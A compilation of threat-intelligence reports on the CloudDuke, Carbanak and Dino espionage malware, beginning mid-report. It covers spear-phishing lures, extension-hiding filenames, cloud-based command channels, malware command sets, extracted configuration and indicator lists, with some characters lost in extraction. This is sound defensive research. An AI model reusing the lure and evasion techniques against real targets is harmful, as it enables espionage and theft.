"DropperSolution". In these cases, the victim has been presented with the decoy file while in the background the downloader has proceeded to download and execute one of the CloudDuke trojans, "OneDriveSolution" or "BastionSolution". Example of one of the decoy documents employed in the CloudDuke spear-phishing campaigns. It has apparently been copied by the attackers from here. Interestingly, however, some of the other CloudDuke spear-phishing campaigns we have observed this July have born a striking resemblance to CozyDuke spear-phishing campaigns seen almost exactly a year ago, in the beginning of July 2014. In both spear-phishing campaigns, the decoy document has been the exact same PDF file, a "US letter fax test page" (28d29c702fdf3c16f27b33f3e32687dd82185e8b). Similarly, the URLs hosting the malicious files have, in both campaigns, purported to be related to eFaxes. It is also interesting to note, that in the case of the CozyDuke-inspired CloudDuke spear-phishing campaign, the downloading and execution of the malicious archive linked to in the emails has not resulted in the execution of the CloudDuke downloader but in the execution of the "BastionSolution" component thereby skipping one step from the process described for the other CloudDuke spear-phishing campaigns. The "US letter fax test page" decoy employed in both CloudDuke and CozyDuke spear-phishing campaigns. Increasingly using cloud services to evade detection CloudDuke is not the first time we have observed the Duke group use cloud services in general and Microsoft OneDrive specifically as part of their operations. Earlier this spring we released research on CozyDuke where we mentioned observing CozyDuke sometimes either directly use a OneDrive account to exfiltrate stolen data or alternatively CozyDuke downloading Visual Basic scripts that would copy stolen files to a OneDrive account and sometimes even retrieve files containing additional commands from the same OneDrive account. In these previous cases the Duke group has only used OneDrive as a secondary communication channel but still relied on more traditional C&C channels for most of their actions. It is therefore interesting to note that CloudDuke actually enables the Duke group to rely solely on OneDrive for every step of their operation from downloading the actual trojan, passing commands to the trojan and finally exfiltrating stolen data. By relying solely on 3rd party web services, such as OneDrive, as their command and control channel, we believe the Duke group is trying to better evade detection. Large amounts of data being transferred from an organization's network to an unknown web server easily raises suspicions. However, data being transferred to a popular cloud storage service is normal. What better way for an attacker to surreptitiously transfer large amounts of stolen data than the same way people are transferring that same data every day for legitimate reasons. (Coincidentally, the implications of 3rd party web services being used as command and control channels is also the subject of an upcoming talk at the VirusBulletin 2015 conference). Directing limited resources towards evading detection and staying ahead of defenders Developing even a single multipurpose malware toolset, never mind many, requires time and resources. Therefore it seems logical to attempt to reuse code such as supporting frameworks between different toolsets. The Duke group, however, appear to have taken this a step further with SeaDuke and the CloudDuke component BastionSolution, by rewriting the same code in multiple programming languages. This has the obvious benefits of saving time and resources by providing two malware toolsets, that while similar on the inside, appear completely different on the outside. This way, the discovery of one toolset does not immediately lead to the discovery of the second toolset. The Duke group, long suspected of ties to the Russian state, have been running their espionage operation for an unusually long time and - especially lately - with unusual brazenness. These latest CloudDuke and SeaDuke campaigns appear to be a clear sign that the Duke's are not planning to stop any time soon. Research and post by Artturi (@lehtior2) F-Secure detects CloudDuke as Trojan:W32/CloudDuke.B and Trojan:W64/CloudDuke.B Samples: 04299c0b549d4a46154e0a754dda2bc9e43dff76 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 476099ea132bf16fa96a5f618cb44f87446e3b02 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 78fbdfa6ba2b1e3c8537be48d9efc0c47f417f3c 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 e33e6346da14931735e73f544949a57377c6b4a0 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd Compromised servers used for command and control: hxxps://cognimuse.cs.ntua.gr/search.php hxxps://portal.sbn.co.th/rss.php hxxps://97.75.120.45/news/archive.php hxxps://portal.sbn.co.th/rss.php hxxps://58.80.109.59/plugins/search.php Compromised websites used to host CloudDuke: hxxp://flockfilmseries.com/eFax/incoming/5442.ZIP hxxp://www.recordsmanagementservices.com/eFax/incoming/150721/5442.ZIP hxxp://files.counseling.org/eFax/incoming/150721/5442.ZIP Carbanak gang is back and packing new guns www.welivesecurity.com /2015/09/08/carbanak-gang-is-back-and-packing-new-guns/ By Anton Cherepanov posted 8 Sep 2015 - 10:49AM The Carbanak nancial APT group made the headlines when Group-IB and Fox-IT broke the news in December 2014, followed by the Kaspersky report in February 2015. The two reports describe the same cybercriminal gang which stole up to several hundreds of millions of dollars from various nancial institutions. However, the story is interesting not only because of the large amount of money stolen but also from a technical point of view. The Carbanak team does not just blindly compromise large numbers of computers and try to milk the cow as other actors do, instead they act like a mature APT-group. They only compromise speci c high-value targets and once inside the company networks, move laterally to hosts that can be monetized. A few days ago CSIS published details about new Carbanak samples found in the wild. In this blog we will describe the latest developments in the Carbanak story. 1/15 Casino hotel hack At the end of August, we detected an attempt to compromise the network of a casino hotel in the USA. The infection vector used in this attack may have been a spearphishing e-mail with a malicious attachment using an RTF-exploit or .SCR le. The attackers aim was to compromise PoS servers used in payment processing. The main backdoor used by attackers was the open-source Tiny Meterpreter. In this case, however, the source was modi the process injection to svchost.exe was added to its functionality. This Tiny Meterpreter backdoor dropped two di erent malware families: Win32/Spy.Sekur well known malware used by the Carbanak gang Win32/Wemosis a PoS RAM Scraper backdoor As mentioned here by our colleagues from TrendMicro, Carbanak malware is capable of targeting Epicor/NSB PoS systems, while Win32/Wemosis is a general-purpose PoS RAM Scraper which targets any PoS that stores card data in the memory. The Wemosis backdoor is written in Delphi and allows the attacker to control an infected computer remotely. Both executables were digitally signed with the same certi cate: 2/15 The certi cate details: Company name: Blik Validity: from 02 October 2014 to 03 October 2015 Thumbprint: 0d0971b6735265b28f39c1f015518768e375e2a3 Serial number: 00d95d2caa093bf43a029f7e2916eae7fb Subject: CN = Blik O = Blik STREET = Berzarina, 7, 1 L = Moscow S = Moscow PostalCode = 123298 C = RU This certi cate was also used in the digital signature of a third malware family used by the same gang: Win32/Spy.Agent.ORM. Win32/Spy.Agent.ORM overview Win32/Spy.Agent.ORM (also known as Win32/Toshliph) is a trojan used as one of their rst-stage payloads by the Carbanak gang. The binary of the testing version was signed with a Blik certi cate: moreover, Spy.Agent.ORM shares some similarities in the code with the regular Carbanak malware. 3/15 The Win32/Spy.Agent.ORM malware family is already known in the industry because of two blogposts. In July 2015 security company Cyphort reported the compromise of a news portal and a banking site rbc.ua and unicredit.ua. It turns out that the compromised sites served Win32/Spy.Agent.ORM. After that, Blue Coat reported a spearphishing attempt targeting Central Bank of Armenia employees, the payload being the same. This malware appeared on our radar at the beginning of summer 2015, and afterwards we started to track it. We have seen attempts to attack various companies in Russia and Ukraine using spearphishing e-mails that have malicious attachments consisting of .SCR les or .RTF exploits. Here is an example of a spearphishing email sent to one of the biggest Forex-trading companies: Roughly translated from Russian to English, it says: Due to the high volatility of the ruble exchange rate the Bank of Russia sends rules of trading on the currency market. Password the attached document: cbr 4/15 Here is another example of a spear phishing attempt. Email with this text was sent to the largest electronic payment service in Russia: 04.08.2015 27.07.2006 N 152- 21.07.2014) roscomnadzor Another rough translation from Russian to English: According to Roscomnadzor prescript you should block the materials, which you can in the attachment. Password is roscomnadzor We have seen similar .SCR les with following lenames: .scr (Alfabank contract) 04.08.2015 .scr (List to block) Postanovlene_ob_ustranenii_18.08.2015.pdf %LOTS_OF_SPACES% ..scr 06.08.2015.pdf %LOTS_OF_SPACES% .scr (Rules of Bank of Russia) All these attachments contained a password protected archive with .SCR le. The had Adobe Acrobat reader icon or MS Word icons. In other cases attackers used RTF les with di erent exploits, including an exploit for one of the latest Microsoft O ce vulnerabilities, CVE-2015-1770, which was patched by Microsoft in June 2015 in MS15-059. We have seen RTF les with the following names used in attacks: prikaz-451.doc REMITTANCE ADVICE ON REJECTION.doc PROOF OF REMITTANCE ADVICE .doc HDHS739_230715_010711_A17C7148_INTERNAL.doc 27.07.2015.doc (Armenian: The Law on Banks and Banking 27.07.2015) PAYMENT DETAILS.doc 5/15 .doc (Russian: Alpha-bank contract) AML REPORTS_20082015_APPLICATION FORM-USD-MR VYDIAR.doc Anti-Money Laudering & Suspicious cases.doc ApplicationXformXUSDXduplicateXpayment.doc AML USD & Suspicious cases.doc Amendment inquiry ( reference TF1518869100.doc Information 2.doc Here is example of a spearphishing message that was sent to a bank in the United Arab Emirates: Here is example of a spearphishing email that was sent to a German bank: 6/15 Win32/Spy.Agent.ORM Technical details Win32/Spy.Agent.ORM is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID. Based on that information malware operator decides whether the infected computer is useful: that is, whether it s the intended target or just a system that was accidentally infected. Here is list of commands that it can receive from C&C server: Command Purpose 7/15 0x02 Collects information about computer: Computer Name, User Name, Windows Version, Architecture (32/64 bit) and campaign ID 0x03 Collects list of running processes 0x04 Downloads binary to %TEMP% and executes 0x05 Updates itself 0x06 Deletes itself 0x07 Makes screenshot 0x08 Loads binary in the memory, without dropping to the disk The latest sample of this malware family found in the wild is also digitally signed with a erent certi cate: The certi cate details: Company name: In travel TOV 8/15 Validity: from 21 July 2015 to 21 July 2016 Thumbprint: 7809fbd8d24949124283b9 14d12da497d9c724 Serial number: 00dfd915e32c5f3181a0cdf0a 50f8052 Subject: CN = In travel TOV O = In travel TOV STREET = prospekt Pravdi 33 L = Kiev S = Kievskaja PostalCode = 04108 C = UA Also, the latest sample is able to gain system privileges via an exploit and install itself as a system service. The trojan attempts to exploit a vulnerability CVE-2015-2426 in the OpenType manager module (ATMFD.dll) which was patched by Microsoft in MS15-078. The exploit for this vulnerability was leaked in a Hacking Team dump. The digital certi cate for Blik used in this case is not the only link between Win32/Spy.Agent.ORM and Win32/Spy.Sekur (Carbanak malware). They share similarities in code take a look at the function that generates the BOTID-value, for example: 9/15 The BOTID-value is a unique value generated on the basis of the hardware parameters of infected computer, and it s used by attackers for computer identi cation. In both cases generation is based on the MAC-address and computer name and the resulting value is formatted using the wsprintf function. Sinkhole statistics 10/15 Our sinkhole of some C&C domains used by the Win32/Wemosis has resulted in hits from bots in the following countries. As the attacks are highly targeted, the total number of victims is low in absolute numbers. Victims in the USA are situated in several states, including Nevada (Las Vegas), California, and New York, and include casinos and hotels. Conclusions Even after it has reportedly stolen hundreds of millions of dollars, the infamous Carbanak APT group isn t resting on its laurels. On the contrary, it is very active and keeps attacking speci c targets related to the nance industry, including banks, Forex-trading companies, and even an American casino hotel. Recently, we have detected malware used by the Carbanak group in the following countries, among others: United States of America Germany United Arab Emirates 11/15 As described in this blog post, the gang doesn t use just one malware family to carry out its operations but several. While the code in the di erent families Carbanak (Win32/Spy.Sekur), Win32/Spy.Agent.ORM, and Win32/Wemosis is di erent it does contain similar traits, including the same digital certi cate. Furthermore, the attackers are updating their arsenal with the latest exploits, such as the Microsoft O ce remote code execution vulnerability, CVE-2015-1770, or the zero-day exploit leaked in the Hacking Team dumps, CVE-2015-2426. We continue to monitor the Carbanak threats. For any enquiries or sample submissions related to the subject, contact as at: threatintel@eset.com. Indicators of Compromise (IoC) Trojan.Win32/Spy.Sekur (Carbanak malware) SHA-1: A048C093C5DA06AF148CA75299960F618F878B3A 3552338D471B7A406D8F7E264E93B848075235C0 3A9A23C01393A4046A5F38FDBAC371D5D4A282F1 8D5F2BF805A9047D58309788A3C9E8DE395469A8 BCF9E4DCE910E94739728158C98578A8D145BE56 8330BC5A3DCC52A22E50187080A60D6DBF23E7E6 E838004A216E58C44553A168760100B497E514E8 CF1F97879A6EB26FEDC7207D6679DFA221DD2D45 7267791340204020727923CC7C8D65AFC18F6F5B F8CBF647A64028CAE835A750EF3F8D1AA216E46C 33870482BA7DE041587D4B809574B458C0673E94 3927835C620058EFCADF76642489FC13AACE305B D678BD90257CF859C055A82B4A082F9182EB3437 0B8605D0293D04BBF610103039768CBE62E2FAAE 7A9BE31078BC9B5FECE94BC1A9F45B7DBF0FCE12 RTF-exploits SHA-1: D71E310ADF183F02E36B06D166F8E3AD54FDBCC9 5B6ABA51215A9662987F59AEF6CAE0A9E3A720B8 1AD84A244B7D4FBB4D89D023B21715B346027E49 E8514BF4C4E1F35FB1737C2F28A4A4CED07AA649 68EA12CDCCEE01D50C23EBC29CAA96BF40925DC6 AC95F01487B4F179A1F10684B1E0A5656940A005 12/15 B4A94A214FC664B8D184154431E1C5A73CA0AE63 Trojan.Win32/Spy.Sekur C2 servers: weekend-service.com:80 seven-sky.org:80 comixed.org:80 91.207.60.68:80 89.144.14.65:80 87.98.217.9:443 82.163.78.188:443 50.62.171.62:700 31.3.155.123:443 216.170.116.120:80 216.170.116.120:700 216.170.116.120:443 194.146.180.58:80 193.203.48.41:700 185.29.9.28:443 178.209.50.245:443 162.221.183.11:80 162.221.183.11:443 162.221.183.109:443 141.255.167.28:443 104.232.32.62:443 104.232.32.61:443 Trojan.Win32/Spy.Agent.ORM SHA-1: 2DD485729E0402FD652CF613E172EA834B5C9077 5E8B566095FD6A98949EF5C479CE290F520DD9E2 8C2C08111F76C84C7573CF07C3D319A43180E734 36093A6004A9502079B054041BADC43C69A0BDEB 6F452C76F7AC00FE1463314F5AA0A80EC4F7360C 850E9A10E6D20D33C8D2C765E22771E8919FC3EE A09F520DDED0D5292A5FA48E80DE02F9AF718D06 3707029DC5CBBE17FD4DE34134847F92E7324C45 905D0842CC246A772C595B8CF4A4E9E517683EB7 237784574AFB8868213C900C18A114D3FA528B95 6090853934833D0814F9239E6746161491CCCB44 13/15 3672C9F4E7F647F2AF9AE6D5EA8D9C7FF16FAF40 EC5DADAACAE763D0E55CE6A78C9A5F57B01A5135 4E8EE08FF4F8DC06AFF8DE2E476AFAFBA58BDC11 A734193F550DDA5C1FFD9FEC3A0186A0A793449C EFC0555418A6ED641047D29178D0DA3AEFA7ADEB B79E6A21D8C2813EC2279727746BDB685180751A 4DB58E7D0FCA8D6748E17087EB34E562B78E1FDE 567749B4F2330F02DD181C6C0840191CEE2186D9 3ACEA9477B219FC6B8C0A734E67339AE2EB2AA5B 2896814E5F8860E620AC633AF53A55D9AA21F8C0 84CC02B3C10306BFCECE8BF274B57475B056C6D6 207FF65543DAC6D1D9F86DFFD891C507AD24018B D627DD4E3850CBD571AFC4799A331054C7080B0D DCC932B878B374D47540D43A2DEE97F37D68267F 983D33F547588A59B53D7F794768B264454446D5 19E7C7A78C5D58945B615D98FF0990389485933F DED83A1E3B6630D69077976CC01321FBC946DCE2 170142C042BF32FF86AF680EAD86CD1AF075B0CB A77336620DF96642691C1E5B6C91511BFA76A5BE 3CEF1CA36A78CBA308FB29A46B20E5CA22D03289 DD01331ABFF03525506CDCBAC4D76CB4EFD602A4 RTF-exploits SHA-1: 1F9462AA39645376C74566D55866F7921BD848F7 81E43D653ACD2B55C8D3107E5B50007870D84D76 AC68AD2E5F5802A6AB9E7E1C1EC7FAB3C6BDBAA4 F869C7EA683337A2249908C21B9D3283CC2DD780 7162BB61CD36ED8B7EE98CBD0BFFEC33D34DD3E7 5943ABCF662DC9634B714B1358164B65E5651D15 A40BDF005B4B469D2C7BED1766C9DA9823E1CFB7 833A8D88BE11807BAE966D56B28AF7B3CC34DBCD AF7564EE7959142C3B0D9EB8129605C2AE582CB7 DCC932B878B374D47540D43A2DEE97F37D68267F 6FF3AE5BA4E9A312602CBD44A398A02AB0437378 32AA4911BC6AB8098E496CD88790FF7147EC6AC3 Trojan.Win32/Spy.Agent.ORM C2 Servers: 192.52.166.66 14/15 84.200.4.226 78.128.92.117 176.31.157.62 clients4-google.com (192.169.82.86) adobe-dns-3-adobe.com (78.128.92.112) img.in-travelusa.com (192.169.82.86) Tiny meterpreter SHA-1: 28D514FE46D8B5720FE27C40C3889F3B45967CC7 0B0884992F28A3C1439DBA60007076B22831CE51 Win32/Wemosis (PoS RAM Scraper) SHA-1: 5E31DB305A97736C0F419A3F2F8F093FF6A1F56F Win32/Wemosis C2 server: 198.100.119.14 Author Anton Cherepanov, ESET 15/15 Security news, views and insight from the ESET experts Dino the latest spying malware from an allegedly French espionage group analyzed BY JOAN CALVET POSTED 30 JUN 2015 11:12AM In this blog we describe a sophisticated backdoor, called Dino by its creators. We believe this malicious software has been developed by the Animal Farm espionage group, who also created the infamous Casper, Bunny and Babar malware. Dino contains interesting technical features, and also a few hints that the developers are French speaking. Animal Farm is the security industry s name for a group of attackers first described by Canada Communications Security Establishment (CSE) in a set of slides leaked by Edward Snowden in March 2014. In those slides CSE assess with moderate certainty that this group is a French intelligence agency. Since then, several examples of malware created by Animal Farm have been found and publicly documented, in particular: Casper, a stealthy first stage implant, documented by ESET in last March Bunny, a Lua based backdoor, documented by Marion Marschalek (Cyphort) Babar, an espionage platform, also analyzed by Marion Marschalek The connection between those pieces of malware and the group described in CSE slides has been convincingly established, for example by Paul Rascagn res (G Data). In this blog post we add a new piece to the puzzle with Dino, another malicious program belonging to Animal Farm s arsenal. Introduction The sample of Dino documented in this blog post was used in 2013 against targets in Iran. The original means of infection is unknown, though we believe Dino was installed by another program, as it contains an uninstallation command without the corresponding installation procedure. Given the set of commands it can receive, Dino s main goal seems to be the exfiltration of files from its targets. The binary s original name, Dino.exe , has been left visible by its authors, as was the case with Casper. Dino which could be referring to the pet character from The Flintstones cartoon show was already mentioned in a recent Kaspersky blog as a full featured espionage platform, but no technical analysis has been published yet. Roughly, Dino can be described as an elaborate backdoor built in a modular fashion. Among its technical innovations, there is a custom file system to execute commands in a stealthy fashion, and a complex task scheduling module working in a similar way to the cron Unix command. Interestingly, the binary contains a lot of verbose error messages, allowing us to see Dino s developers choice of wording. Also, a few technical artefacts suggest that Dino was authored by native French speakers. Dino Basics Modules List Dino has been developed in C++ and presents a well defined modular architecture. The following array lists the modules contained in this Dino binary the module names are those assigned by the developers. Module Name Module Purpose Encrypted on disk copy for Dino modules CORE Configuration storage CRONTAB Task scheduler FMGR File upload and download manager CMDEXEC Command execution manager CMDEXECQ Storage queue for commands to execute ENVVAR Storage for environment variables Data Structure Dino heavily relies on a custom data structure named DataStore by the Animal Farm developers. In particular, all Dino s modules store their content inside this structure, making its understanding one of the keys to analyzing Dino. A DataStore is a map from string keys to values of 8 possible types, such as integers or strings. The implementation of this data structure is based on a hash table. It means that to retrieve the value associated with a key, one has to calculate the hash of the key to locate a bucket from which the value can be retrieved. Dino s hash is a one byte value calculated with a series of XOR operations on the key, and each bucket starts a linked list containing key/value pairs. The code responsible for retrieving the value associated with a key is shown in Figure 1. Figure 1 Finally, DataStore objects can be serialized in a custom format, which begins with the magic word DxSx . This is used in particular by the PSM module to save the content of Dino modules in an encrypted file. More precisely, when a modification is made to a module s content in memory, the PSM module saves it as a serialized DataStore. When Dino restarts, the module is deserialized from the file and loaded into memory. Funnily enough, the key serving to encrypt the file on disk is PsmIsANiceM0du1eWith0SugarInside Configuration Dino s configuration is initially stored in a serialized DataStore object contained in a zip archive at the end of the Dino binary. At runtime this object is deserialized and stored inside the CORE module. We can list the configuration s content with Dino conf l CORE command described later which displays on separate rows each key s name, its associated value and the type of this value: Started:5523F782 QWORD InitialWaitDone:00000001 DWORD InteractiveDelay:00000005 DWORD MaxNothingSaidCount:00000078 DWORD InstallDate: 5523F782 QWORD fields:78537844 [REDACTED] 66B3900 BYTES recID:11173 PRS WIDESTR Version:1.2 WIDESTR BD_Keys: 4D41474943424F58 [REDACTED] 9EB3506 BYTES CC_Keys: 4D41474943424F58 [REDACTED] 0000000 BYTES MaxDelay:00000E10 DWORD ComServer0:hXXp://www.azhar.bf/ [REDACTED] /postal.php STR ComServer1:hXXp://www.rsvniima.org/ [REDACTED] /din12/postal.php STR ComServer2:hXXp://www.azhar.bf/ [REDACTED] /postal.php STR ComServer3:hXXp://www.rsvniima.org/ [REDACTED] /din12/postal.php STR ComServer4:hXXp://dneprorudnoe.info// [REDACTED] /postal.php STR ComServer5:hXXp://dneprorudnoe.info// [REDACTED] /postal.php STR ComServer6:hXXp://dneprorudnoe.info// [REDACTED] /postal.php STR NextSendReceive:5CC33097FB72D001 BYTES CC:000064F7 72E4 3F7D C817 474D A9BDBDF7 STR DaysOfLife:00000000 DWORD GUID:12FEB4A9EEDEE411B283000C29FD2872 BYTES InitialDelay:00000000 DWORD now:5523F78E QWORD hash:A88E8181CA5CE35AE70C76145DFB820D BYTES InitialCommands:78537844 [REDACTED] 000000 BYTES xT0rvwz:DC188352A [REDACTED] 00000 BYTES tr4qa589:K/[RAFtIP?ciD?:D STR jopcft4T:a.ini WIDESTR While most of the keys have self explanatory names, we would like to focus on the following keys: recID : Animal Farms binaries contain an ID whose decimal value appears to identify the target, 11173 in this case. For example Casper used an value set to 13001 , whereas some Babar samples used 12075 and 11162 . We do not know the meaning of the suffix added in the case of Dino. ComServer : These keys contain the command and control (C&C) servers URLs. All the URLs were down when we started our analysis. Those C&Cs were compromised legitimate websites, which is standard operating procedure for Animal Farm. Version : Dino s code version here set to , which is confirmed by the din12 folder used in one of the C&C URLs. For the record, a folder has been seen on another Animal Farm C&C (see 3.7 Calling home of Marschalek s Babar report), indicating that Dino version 1.3 has also likely been deployed at some point. BD_Keys and CC_Keys contain cryptographic keys to encrypt the network communications with C&C servers. Their values start with the word MAGICBOX The three last keys are displayed with obfuscated names ( xT0rvwz tr4qa589 and jopcft4T ) and store parameters for the custom file system we will describe later. Commands The following Table lists the commands accepted by this Dino binary with the names chosen by the developers. Each of those commands can take one or more arguments. Command Purpose sysinfo Retrieve reconnaissance information from the machine killBD Uninstall Dino using the custom file system (see ramFS description below for details) Execute Windows batch command passed as a parameter Change the current work directory Retrieve the current work directory path List files in a given directory with various additional information Set or remove environment variables stored in the ENVVAR module conf Display or update module content search Search for files whose names match given patterns. The files found are packed in an archive, which is then scheduled for upload to the C&C using the FMGR module. archive Create an archive from given file paths unarchive Unpack an archive to a given location download Schedule a file transfer to the C&C using the FMGR module cancel Remove the next file transfer scheduled in the FMGR module cancelall Remove all scheduled file transfers in the FMGR module cronadd Schedule a command to be executed at a certain time by the CRONTAB module (see CRONTAB description below for details) cronlist List registered entries in the CRONTAB module crondel Remove an entry in the CRONTAB module wakeup Schedule a wake up of the malware after a certain amount of time using the CRONTAB module restart N/A: the command is actually not implemented showip Display the public IP of the infected machine cominfos Display information about the currently used C&C server comallinfos Display information about all known C&C servers wget Download a file from the currently used C&C server onto the machine delayttk Delay the de installation of the malware, if scheduled One command of particular interest is search , which allows the operators to look for files very precisely. For example, it can provide all files with a .doc extension, the size of which is bigger than 10 kilobytes, and that were modified in the last 3 days. We believe this exfiltration of files to be Dino s end goal. At startup Dino executes successively the commands stored in the InitialCommands field in its configuration in the sample we analyzed they are: sysinfo cominfos !ipconfig /all !ipconfig /displaydns !tracert www.google.com Those commands serve as a reconnaissance step for the operators. Their execution is managed by the CMDEXEC module, the commands being stored in a queue inside the CMDEXECQ module. The result is reported to the C&C server. After having described Dino s basics, we are now going to dig into two particularly interesting components first, a custom file system used by the malware, and then the CRONTAB module in charge of task scheduling. RamFS: A Temporary File System Dino contains a custom file system named ramFS by its developers. It provides a complex data structure to store files in memory, each of them bearing a name corresponding to filenames used by usual file systems. RamFS also comes with a set of custom commands that can be stored in files and executed. It should be noticed that ramFS is also present in other Animal Farm binaries (see attribution paragraph below), but since we are unaware of previous analysis of ramFS, we are describing our findings here. Architecture RamFS content is initially stored encrypted in Dino s configuration under the key xT0rvwz , whereas the corresponding RC4 key is stored under the key tr4qa589 . Once the file system has been decrypted, it is stored in memory as a linked list of 512 byte memory chunks, each one of them being individually RC4 encrypted. When looking for a file in ramFS, each chunk is decrypted, processed and then re encrypted. Hence there are very few noticeable traces of ramFS during its use. Here are some high level characteristics of this file system: File names and file content are encoded in Unicode File names length is limited to 260 characters Once decrypted, file content is manipulated as chunks of 540 bytes There is no metadata associated with the files We could not find an existing file system matching the memory structures and the characteristics of ramFS, and therefore we believe this file system to be an original creation of the Animal Farm group. Commands Several commands can be executed in the context of ramFS, as listed in the following Table. Command Meaning Change the current work directory on the real file system N/A: the command is actually not implemented INSTALL Installation or de installation of Dino, in Windows registry and/or as a service EXTRACT Extracts a file stored in ramFS onto the machine DELETE Deletes a file stored on the machine EXEC Executes a file stored in ramFS INJECT Injects a file stored in ramFS into a running process SLEEP Sleeps for a given amount of time KILL Terminates a running process AUTODEL N/A: the command is actually not implemented Usage of ramFS in Dino In the case of Dino, ramFS serves as protected storage for one specific file containing the instructions to remove the malware from the machine. The developers named this file the cleaner and it is executed when Dino receives the command killBD (the acronym is the developers designation of the malware). Figure 2 shows the code responsible for executing this cleaner file. First, it retrieves the name of the file from Dino s configuration ( a.ini ), then it retrieves the key to decrypt ramFS, and it finally mounts the file system in memory in order to execute the cleaner file stored inside. The verbosity of the error messages makes it particularly easy to understand the purpose of the code. Figure 2 The cleaner file contains the string INSTALL wusvcd which, once executed, will uninstall the malware from the machine wusvcd being the name used to register Dino on the machine. Hence, ramFS serves as a protected container for files to be executed on the machine, offering a disposable execution environment to the operators and leaving very few traces on the system. Tasks scheduling in a Unix fashion The commands cronadd cronlist and crondel serve respectively to add, list, and remove scheduled tasks registered in the CRONTAB module. Those tasks are Dino s commands. The syntax to define scheduled tasks is similar to the one used by the cron Unix command. In particular the time at which to run a command is given by a string following the format minute hour day month year dayofweek . Alternatively, this string can be replaced by @boot for a command to run at each startup whereas some Unix cron implementations accept @reboot As an example, here is the output of the cronlist command after a wakeup command has been scheduled to run on 7th April 2015 at 15:44: As we can see, each entry is identified by an , an incrementing hexadecimal number starting at 0xC0. The purpose of the Local field remains unclear (the other possible value being ). The Count parameter counts the number of times a command has been executed, indicating the command will be executed only once. Finally, the Visibility field defines whether the command execution will be reported to the C&C (the other possible value being Silent Attribution Dino Belongs To The Farm The amount of shared code between Dino and known Animal Farm malware leaves very little doubt that Dino belongs to Animal Farm s arsenal. Among these shared features, we can cite the following: At the very beginning of Dino execution, the current process name is checked against process names used by some sandboxes: Figure 3 A very similar check (against klavme myapp TESTAPP and afyjevmv.exe ) is present in Bunny samples, and in some first stage implants deployed by Animal Farm. To hide its calls to certain API functions, Dino employs a classic Animal Farm ploy: a hash is calculated from the function s name and used to look for the address of the API function. The actual hashing algorithm used in Dino is the same that was used in Casper, namely a combination of rotate left (ROL) of 7 bits and exclusive or (XOR) operations. The Dino s custom file system the so called ramFS is present in several droppers used by Animal Farm. In those binaries the file system serves to set the persistence of the payload. For example, here is the command executed by some NBOT droppers in the context of ramFS: As a final indication that Dino belongs to Animal Farm menagerie, it is noticeable that the output of Dino sysinfo command looks like an updated version of the beacon from the SNOWBALL implant described in the leaked CSE slides part of operation SNOWGLOBE, which led to the discovery of Babar: Dino s sysinfo example output Login/Domain (owner): Administrator/JOHN (john) Computer name: JOHN Organization (country): (United States) RecId: 11173 MaxDelay: 3600 Version: 1.2 OS version (SP): 5.1 (Service Pack 3) WOW64: No Default browser: firefox.exe IE version: Mozilla/4.0 (compatible MSIE 7.0 Win32) First launch: 04/01/2015 18:31:14 Time to kill: N/A Last launch : 04/01/2015 19:21:44 Mode: N/A | Rights: Admin | UAC: No ID: 4635BEF0 D89D 11E4 B283 000C 29FD2872 InstallAv: 0 Inj: Yes SNOWBALL implant beacon All these indicators together make us very confident that Dino was developed by the Animal Farm group. French speaking Developers Dino adds at least two more indicators to those already documented suggesting that Animal Farm developers are French speaking: Dino s binary contains a resource whose language code value is 1036. The original purpose of this language code is to allow developers to provide resources (menus, icons, version information ) for different locations in the world in the corresponding language. Interestingly, when a developer does not manually specify the language code, the compiler sets it to the language of the developer s machine. So, which language corresponds to the value 1036, or 0x40c in hexadecimal? French (France). Of course a non French speaking developer could have deliberately set this value to mislead attribution efforts. But in more recent Animal Farm binaries (for example Casper), this language code has been set to the classical English (USA) language code. Therefore, it seems that Animal Farm developers forgot to set this value in their first creations, realized their mistake at some point, and decided to set a standard value. Someone using the language code as a false flag would have likely kept the strategy going. For the record, this Dino sample is not the only Animal Farm binary with 1036 as language code. Dino s binary is statically linked with the GnuMP library, which is used to manipulate big numbers in cryptography algorithms. The GnuMP code in Dino contains file paths coming from the developer s machine: ..\..\src\arithmetique\mpn\mul.c ..\..\src\arithmetique\printf\doprnt.c ..\..\src\arithmetique\mpn\tdiv_qr.c ..\..\src\arithmetique\mpn\mul_fft.c ..\..\src\arithmetique\mpn\get_str.c As the attentive reader has probably guessed, arithmetique is the French translation of arithmetic Conclusion Dino s binary shows an intense development effort, from custom data structures to a homemade file system. As with other Animal Farm binaries, it bears the mark of professional and experienced developers. But Dino also shows a poor knowledge, or interest, from these developers in anti analysis techniques contrary to what was seen in Casper as demonstrated, for example, by the verbosity of some Dino s log messages: All those messages provide substantial help in understanding Dino s internal workings. One will also appreciate the numerous misspellings contained in the messages. Regarding Dino s victims, we know very little except that they were located in Iran in 2013. This is in accordance with the victimology described by Canada s CSE in its presentation: That leads us to the final point of this blog: several signs suggest that Dino s creators are French speaking developers. These signs add to the pretty long list of indicators already supporting this hypothesis, in particular the ones mentioned by Canada s CSE. Indicators of Compromise Indicator Value Sample SHA1 BF551FBDCF5A982705C01094436883A6AD3B75BD C&C URL hXXp://www.azhar.bf/modules/mod_search/found/cache/postal.php C&C URL hXXp://www.rsvniima.org/templates/rsv/icons/din12/postal.php C&C URL hXXp://dneprorudnoe.info/sxd/lang/i18n/charcodes/postal.php Path C:\Program Files\Common Files\wusvcd\wusvcd.exe Default storage file C:\Program Files\Common Files\wusvcd\wusvcd00000000 0000 names 0000 0000 0000 00000000.{dax,dat,lck} Downloaded file name extension .tmp_dwn Registry key Software\Microsoft\Windows\Windows\CurrentVersion\Run\wusvcd Author Joan Calvet, ESET SHOOTING ELEPHANTS page | 1 SHOOTING ELEPHANTS DROPPER SHA-1 File Size Compile Time 9fff114f15b86896d8d4978c0ad2813d 